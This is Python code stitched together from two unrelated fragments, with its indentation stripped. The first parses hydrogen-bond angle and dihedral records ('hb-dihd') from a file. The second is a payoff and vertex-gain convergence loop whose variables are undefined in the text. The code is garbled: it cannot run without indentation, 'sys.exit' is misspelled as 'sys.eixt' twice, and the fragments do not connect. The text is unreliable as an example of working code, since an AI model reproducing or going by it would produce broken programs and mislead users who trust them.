hb.ang2_imp3 = int(next(itr))
hb.ang2_imp1un = int(next(itr))
hb.ang2_imp2un = int(next(itr))
hb.ang2_imp3un = int(next(itr))
hb.ang2_native = float(next(itr))
hb.ang2_coef = float(next(itr))
else:
print('Error ang1 and ang2 are occupied')
sys.exit(2)
self._file.seek(0)
for line in self._file:
if line[0:7] == 'hb-dihd':
lsp = line.split()
itr = iter(lsp)
next(itr) # 'hb-dihd'
ihb = int(next(itr))
for hb in ni.hbondDTs:
if hb.id == ihb:
if hb.dih0_id is None:
hb.dih0_id = int(next(itr))
hb.dih0_iunit1 = int(next(itr))
hb.dih0_iunit2 = int(next(itr))
hb.dih0_imp1 = int(next(itr))
hb.dih0_imp2 = int(next(itr))
hb.dih0_imp3 = int(next(itr))
hb.dih0_imp4 = int(next(itr))
hb.dih0_imp1un = int(next(itr))
hb.dih0_imp2un = int(next(itr))
hb.dih0_imp3un = int(next(itr))
hb.dih0_imp4un = int(next(itr))
hb.dih0_native = float(next(itr))
hb.dih0_coef = float(next(itr))
elif hb.dih1_id is None:
hb.dih1_id = int(next(itr))
hb.dih1_iunit1 = int(next(itr))
hb.dih1_iunit2 = int(next(itr))
hb.dih1_imp1 = int(next(itr))
hb.dih1_imp2 = int(next(itr))
hb.dih1_imp3 = int(next(itr))
hb.dih1_imp4 = int(next(itr))
hb.dih1_imp1un = int(next(itr))
hb.dih1_imp2un = int(next(itr))
hb.dih1_imp3un = int(next(itr))
hb.dih1_imp4un = int(next(itr))
hb.dih1_native = float(next(itr))
hb.dih1_coef = float(next(itr))
elif hb.dih2_id is None:
hb.dih2_id = int(next(itr))
hb.dih2_iunit1 = int(next(itr))
hb.dih2_iunit2 = int(next(itr))
hb.dih2_imp1 = int(next(itr))
hb.dih2_imp2 = int(next(itr))
hb.dih2_imp3 = int(next(itr))
hb.dih2_imp4 = int(next(itr))
hb.dih2_imp1un = int(next(itr))
hb.dih2_imp2un = int(next(itr))
hb.dih2_imp3un = int(next(itr))
hb.dih2_imp4un = int(next(itr))
hb.dih2_native = float(next(itr))
hb.dih2_coef = float(next(itr))
else:
print('Error dih0 and dih1 and dih2 are occupied')
sys.exit(2)
#check
for hb in ni.hbondDTs:
if hb.ang1_id is None or hb.ang2_id is None or hb.dih0_id is None or hb.dih1_id is None or hb.dih2_id is None:
print(
'Error ang1 and/or ang2 and/or dih0 and/or dih1 and/or dih2 is empty'
)
sys.eixt(2)
payoff_old = -10**8
angle_decrease_iterations = 0
vgs_l = []
for i in range(iterations):
payoff = s.dot(vertex_payoff)
vertex_gain = np.where((vertex_payoff - payoff) > 0,
vertex_payoff - payoff, 0)
# important: vg must be decreasing all the time
vg = vertex_gain.sum()
if vg > vg_old:
print(i, 'vg increases, and that is wrong!')
sys.exit(1)
# and meanwhile payoff should be increasing all the time
if payoff < payoff_old:
print(i, 'payoff decreases, and that is wrong!')
sys.eixt(1)
# print(payoff)
# print(s.tolist(), vertex_gain.tolist())
# print(vertex_gain.round(2))
angle = utils.vector_angle(s, vertex_gain)
# print(angle_old, angle)
if angle > angle_old and i > 0:
angle_decrease_iterations += 1
'''
if i > iterations - 1000:
print(i, angle - angle_old)
'''
payoff_old = payoff
angle_old = angle
vg_old = vertex_gain.sum()
vgs_l.append(vg_old)
